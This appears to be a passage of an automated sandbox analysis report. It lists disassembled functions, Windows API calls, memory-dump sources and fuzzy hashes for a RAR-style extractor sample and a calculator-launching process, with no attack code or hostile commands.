Function 00424D7E Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00424DB2
__isleadbyte_l.LIBCMT ref: 00424DE6
MultiByteToWideChar.KERNEL32(00000080,00000009,0041A72A,?,00000000,00000000,?,?,?,?,0041A72A,00000000,?), ref: 00424E17
MultiByteToWideChar.KERNEL32(00000080,00000009,0041A72A,00000001,00000000,00000000,?,?,?,?,0041A72A,00000000,?), ref: 00424E85

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 81987982e1df4478a7ec8bedb2574ddd47b8dcc3746f19ef86f9e98bcee9ea73
Instruction ID: 34d96542b4f2f6430d40b5dcf61543c795873935e1d33559ae6edcb8347980b7
Opcode Fuzzy Hash: 81987982e1df4478a7ec8bedb2574ddd47b8dcc3746f19ef86f9e98bcee9ea73
Instruction Fuzzy Hash: CD310E31B10265EFDB20DF64E8809BE3BA0FF81310F9585AAE4618B2D0D334CD40CB59

Function 00413A76 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00413A7B
_memset.LIBCMT ref: 00413A9F
_memset.LIBCMT ref: 00413B1B
_malloc.LIBCMT ref: 00413B4E

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _memset$H_prolog_malloc
String ID:
API String ID: 1600808285-0
Opcode ID: 53866512d70242172bba666a9b8fd675876a63121414b9353fe8f0c4afc2a0ae
Instruction ID: 8707dbc3ea1c7a206fd2168aec13b39480974cebc03b1d47dee04c1bc00d07d0
Opcode Fuzzy Hash: 53866512d70242172bba666a9b8fd675876a63121414b9353fe8f0c4afc2a0ae
Instruction Fuzzy Hash: 6931A2B1E04216ABDB14DF69C8457EB76B8EB14319F10053FE105E7282E778AE80C6AC

Function 00412E25 Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 00412CAA: _memset.LIBCMT ref: 00412CC4

_memset.LIBCMT ref: 00412E5B
_memset.LIBCMT ref: 00412E6E
_memset.LIBCMT ref: 00412EAE
_memset.LIBCMT ref: 00412EC1

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 9d5df03678e0c5d5763a2dcc2e55ed97e5158c9e5106f151ba223aa709053554
Instruction ID: 1f3416726208f78ed5918f79fcdb11784f1958436039aa26d1951b0feda88d58
Opcode Fuzzy Hash: 9d5df03678e0c5d5763a2dcc2e55ed97e5158c9e5106f151ba223aa709053554
Instruction Fuzzy Hash: D5116B71A4878069E221D67A8C45FE3F6DCAB29308F444C2FB3DECB182E5AA74548757

Function 00405F34 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00405F39
_memset.LIBCMT ref: 00405F9C
_memset.LIBCMT ref: 00405FA8
_memset.LIBCMT ref: 00405FC6

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _memset$H_prolog
String ID:
API String ID: 3013590873-0
Opcode ID: 93ce2218eb711f8a3a1566bc0119a61f5b46c0e5ed04685ce2a0b30a240ba023
Instruction ID: e61058f2c924f18cf44b3716d7199eba2e33b25c3138a383d844bd036fe00bab
Opcode Fuzzy Hash: 93ce2218eb711f8a3a1566bc0119a61f5b46c0e5ed04685ce2a0b30a240ba023
Instruction Fuzzy Hash: 170184B1740740BAD221E716CC47FDBB6A8DFC9B18F00081FB259761C2C7BC565086AD

Function 004230DE Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00423104

Part of subcall function 00422F29: __fltout2.LIBCMT ref: 00422F55

__cftog_l.LIBCMT ref: 0042312A
__cftoe_l.LIBCMT ref: 0042315C

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: ad02efd122ed2333f7502648e5777f30876e1af65ebdecf52b8212f03a33dcef
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: F711807220005EBBCF125E85ED41CEE3F37BB18355F998416FE1859131C67ACAB2AB85

Function 0040632E Relevance: 6.0, APIs: 4, Instructions: 39windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0040C271: LoadStringW.USER32(?,-004325D2,00000200), ref: 0040C2C2
Part of subcall function 0040C271: LoadStringW.USER32(?,-004325D2,00000200), ref: 0040C2D4

_swprintf.LIBCMT ref: 00411829

Part of subcall function 00401B74: __vswprintf_c_l.LIBCMT ref: 00401B87

GetLastError.KERNEL32(?), ref: 00411831
MessageBoxW.USER32(?,00000000,00000096,00000035), ref: 00411853
SetLastError.KERNEL32(00000000), ref: 00411860

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: ErrorLastLoadString$Message__vswprintf_c_l_swprintf
String ID:
API String ID: 2205000856-0
Opcode ID: 90b3bf13175ec4f3bd797cc2b11990bc0bd06b311f4a533a60cf7db86b898d9c
Instruction ID: ed8c194fd9dce5b65a4ab69c32904f4180831e7d0cf7aed1620b8a00417be88f
Opcode Fuzzy Hash: 90b3bf13175ec4f3bd797cc2b11990bc0bd06b311f4a533a60cf7db86b898d9c
Instruction Fuzzy Hash: 93F0F632540218BBFB1137A08C4AFCE375CAF16385F0042A7F505F50E2E5799875876D

Function 004220C3 Relevance: 6.0, APIs: 4, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 004220CF

Part of subcall function 0041E764: __getptd_noexit.LIBCMT ref: 0041E767
Part of subcall function 0041E764: __amsg_exit.LIBCMT ref: 0041E774

__getptd.LIBCMT ref: 004220E6
__amsg_exit.LIBCMT ref: 004220F4
__lock.LIBCMT ref: 00422104

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 9bbfce21fc56b317f6a36a82937c31e252a0bf44d043ae3dcf04175c47f93af7
Instruction ID: ba531cc4217b4df794b256f33fc1b133dbd71ccaad3f842f0c6843564655d570
Opcode Fuzzy Hash: 9bbfce21fc56b317f6a36a82937c31e252a0bf44d043ae3dcf04175c47f93af7
Instruction Fuzzy Hash: A0F06235B00720DBD720FB66A502B9972A16F04718F90416FB951972E1CFBC5981CA5E

Function 0040276E Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 385COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00402A62

Strings

;%u, xrefs: 00402A50

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _swprintf
String ID: ;%u
API String ID: 589789837-535004727
Opcode ID: 041691639bbd541154391281e3a4aaa2f273f69e637fbf8d4a6aa86dd2ac6dcb
Instruction ID: a0edadda82c9f23437f4239ca8a730b7792abe68c1af6789e4c56d0fcaebc8ca
Opcode Fuzzy Hash: 041691639bbd541154391281e3a4aaa2f273f69e637fbf8d4a6aa86dd2ac6dcb
Instruction Fuzzy Hash: C1D113702007449ADB24EF358689BEE77E5AF40304F04053FE956A72D2DBBCA985CB59

Function 00409D17 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00409D44
_wcslen.LIBCMT ref: 00409E3F

Strings

__rar_, xrefs: 00409E76

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _wcslen
String ID: __rar_
API String ID: 176396367-2561138058
Opcode ID: a65a0ca25c52315b287b4020813a743e18ca25b1074e3f498088ae359453fe39
Instruction ID: 7a58e1af0f96e59094e416f3dae6167a4554a84c47e3b8dc4b5b1a955f67997f
Opcode Fuzzy Hash: a65a0ca25c52315b287b4020813a743e18ca25b1074e3f498088ae359453fe39
Instruction Fuzzy Hash: 4841D032A00259A6CF21AE65CC81BEF736EAF54354F04047BF809B31D3D63CDE9196A9

Function 0040CDA7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 0040CD68: LoadLibraryW.KERNEL32(Crypt32.dll,00000020,0040CDC0,00000020,?,?,00405D34,?,00000020,00000001,00000000,?,00000010,?,?,?), ref: 0040CD76
Part of subcall function 0040CD68: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0040CD8F
Part of subcall function 0040CD68: GetProcAddress.KERNEL32(00437800,CryptUnprotectMemory), ref: 0040CD9B

GetCurrentProcessId.KERNEL32(00000020,?,?,00405D34,?,00000020,00000001,00000000,?,00000010,?,?,?,00000001,?,?), ref: 0040CE2E

Strings

CryptProtectMemory failed, xrefs: 0040CDEE
CryptUnprotectMemory failed, xrefs: 0040CE27

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: AddressProc$CurrentLibraryLoadProcess
String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
API String ID: 137661620-396321323
Opcode ID: 198082f2dc4cbed04473a6d5c14103d9a5a2a777f495e332cbfda24714750072
Instruction ID: 77e1c3413466269c5384ec847ceb783b2336dfca7173b6c82ec737576e481cfa
Opcode Fuzzy Hash: 198082f2dc4cbed04473a6d5c14103d9a5a2a777f495e332cbfda24714750072
Instruction Fuzzy Hash: 05110171304115ABDB1A6F64DCD167F3756DB81B10704413FF942AB2C1CA389C9593DD

Function 00410FC5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00010000,00410F67,?,00000000,?), ref: 00410FE9
SetThreadPriority.KERNEL32(?,00000000,?,?,00411055,-00000108,00404FD8), ref: 00411030

Part of subcall function 004063AD: __vswprintf_c_l.LIBCMT ref: 004063CB

Strings

CreateThread failed, xrefs: 00410FF5

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: Thread$CreatePriority__vswprintf_c_l
String ID: CreateThread failed
API String ID: 2655393344-3849766595
Opcode ID: b8bbcb8923d232472ca76fefd6a4bf110d33c80091c186ad9e7ddcbf006ae7bd
Instruction ID: 5542f57637ba82aa3817d501c1c8d39191179df7af46df1e3764541aa438c75b
Opcode Fuzzy Hash: b8bbcb8923d232472ca76fefd6a4bf110d33c80091c186ad9e7ddcbf006ae7bd
Instruction Fuzzy Hash: 4B012671344305BBD3306F55AD46BB23758EB48766F30003FFA82A2581DAF868D18B6D

Function 0040A091 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

_wcschr.LIBCMT ref: 0040A0A9
_wcspbrk.LIBCMT ref: 0040A0F1

Strings

?*<>|", xrefs: 0040A0EB

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: _wcschr_wcspbrk
String ID: ?*<>|"
API String ID: 3305141221-226352099
Opcode ID: 42140c1be0f08571e08a998b25392a297171eed4dcfc96837f1922278b3e00da
Instruction ID: aa4710ce59c085ced9854f33b6b4169768e0b9bb7120ffb3a45601e14b6e1647
Opcode Fuzzy Hash: 42140c1be0f08571e08a998b25392a297171eed4dcfc96837f1922278b3e00da
Instruction Fuzzy Hash: A7F0492511432750DE382E1448056B332D88B11344B60843FE8C1B72C2E77E98EBD12F

Function 0041DC5B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041A19E: __getptd.LIBCMT ref: 0041A1A4
Part of subcall function 0041A19E: __getptd.LIBCMT ref: 0041A1B4

__getptd.LIBCMT ref: 0041DC6A

Part of subcall function 0041E764: __getptd_noexit.LIBCMT ref: 0041E767
Part of subcall function 0041E764: __amsg_exit.LIBCMT ref: 0041E774

__getptd.LIBCMT ref: 0041DC78

Strings

csm, xrefs: 0041DC86

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: e2cc627116b19fb5553d78aab43f447c3cb7cefb71fdbbd70e56117400c6818a
Instruction ID: 4df0fc6275fc01049fe42caa67c000990fab24198ade6d76edb3c47b82caba46
Opcode Fuzzy Hash: e2cc627116b19fb5553d78aab43f447c3cb7cefb71fdbbd70e56117400c6818a
Instruction Fuzzy Hash: 22017CB8C00704CADF24AF29D9406EEB3B5AF10314F14481FE44196791EB7899D0EBC9

Function 00410C6C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMONLIBRARYCODE

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,00410E3A,?), ref: 00410C72
GetLastError.KERNEL32(?), ref: 00410C7E

Part of subcall function 004063AD: __vswprintf_c_l.LIBCMT ref: 004063CB

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00410C87

Memory Dump Source

Source File: 00000000.00000002.1669386621.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669370815.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669472015.000000000042A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669494281.000000000044E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669884926.0000000000451000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Ekpb7jn7mf.jbxd

Similarity

API ID: ErrorLastObjectSingleWait__vswprintf_c_l
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 1091760877-2248577382
Opcode ID: cb8434b4d930f5674dfcd613430442c7000946ec074501a1036af1a50a433364
Instruction ID: bf88496ac570465f9c3604917b5d80b7473bfed2f73079c342170331bd85cf75
Opcode Fuzzy Hash: cb8434b4d930f5674dfcd613430442c7000946ec074501a1036af1a50a433364
Instruction Fuzzy Hash: 2BD02E32608020BBDB013B28AC0AD9E34018F01334FB14722F935722F2DB7D0AB246EE

Analysis Process: rKPaQokQ.exePID: 6480, Parent PID: 6356COMMON

Execution Graph

Execution Coverage:	23.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	50
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF630CE15C0 Relevance: 10.6, APIs: 7, Instructions: 143
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoW.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF630CE15E8
Sleep.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF630CE161F
_amsg_exit.MSVCRT ref: 00007FF630CE163D
_initterm.MSVCRT ref: 00007FF630CE16C8
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF630CE16F5
exit.KERNELBASE ref: 00007FF630CE179A
_cexit.MSVCRT ref: 00007FF630CE17A9

Memory Dump Source

Source File: 00000001.00000002.1691499035.00007FF630CE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF630CE0000, based on PE: true

Associated: 00000001.00000002.1691474359.00007FF630CE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1691517630.00007FF630CE2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1691539369.00007FF630CE4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1691539369.00007FF630CE9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff630ce0000_rKPaQokQ.jbxd

Similarity

API ID: CurrentImageInfoNonwritableSleepStartup_amsg_exit_cexit_inittermexit
String ID:
API String ID: 642454821-0
Opcode ID: c6359c6e4283e84ba6e32f8d3b42f24606ddad3b2f0fda16ee4a83a3ea6b4827
Instruction ID: 850917fc1d605781a93d32662802a44701f065b83b48a82c4bb35652d1a9c4ca
Opcode Fuzzy Hash: c6359c6e4283e84ba6e32f8d3b42f24606ddad3b2f0fda16ee4a83a3ea6b4827
Instruction Fuzzy Hash: 27616B36A09642A2FB208F18E84267972B5FF44B5AF542035EE4DC7390DF3CE969E704

Function 00007FF630CE109C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EventRegister.ADVAPI32 ref: 00007FF630CE10EC
EventSetInformation.ADVAPI32 ref: 00007FF630CE110B
EventWriteTransfer.ADVAPI32 ref: 00007FF630CE11E2
ShellExecuteW.SHELL32 ref: 00007FF630CE1204

Strings

calculator://, xrefs: 00007FF630CE11F0
CalculatorStarted, xrefs: 00007FF630CE1150

Memory Dump Source

Source File: 00000001.00000002.1691499035.00007FF630CE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF630CE0000, based on PE: true

Associated: 00000001.00000002.1691474359.00007FF630CE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1691517630.00007FF630CE2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1691539369.00007FF630CE4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1691539369.00007FF630CE9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff630ce0000_rKPaQokQ.jbxd

Similarity

API ID: Event$ExecuteInformationRegisterShellTransferWrite
String ID: CalculatorStarted$calculator://
API String ID: 2334100579-3358960933
Opcode ID: da07b945c66d87172fb6d385bc7f783503ffd44cdd0073e952ce876dff7d5c78
Instruction ID: 3fe573d3ef98569c30ab54ed131b9b2eaf1845c5a995e2edb719cb186f6dee1e
Opcode Fuzzy Hash: da07b945c66d87172fb6d385bc7f783503ffd44cdd0073e952ce876dff7d5c78
Instruction Fuzzy Hash: CB41F372A08B06A9E7108F20E8467A937B0FF4874EF406136DA4D86764EF7CE25CE744

Function 00007FF630CE1570 Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wgetmainargs.KERNELBASE ref: 00007FF630CE15A8

Memory Dump Source

Source File: 00000001.00000002.1691499035.00007FF630CE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF630CE0000, based on PE: true

Associated: 00000001.00000002.1691474359.00007FF630CE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1691517630.00007FF630CE2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1691539369.00007FF630CE4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1691539369.00007FF630CE9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff630ce0000_rKPaQokQ.jbxd

Similarity

API ID: __wgetmainargs
String ID:
API String ID: 1709950718-0
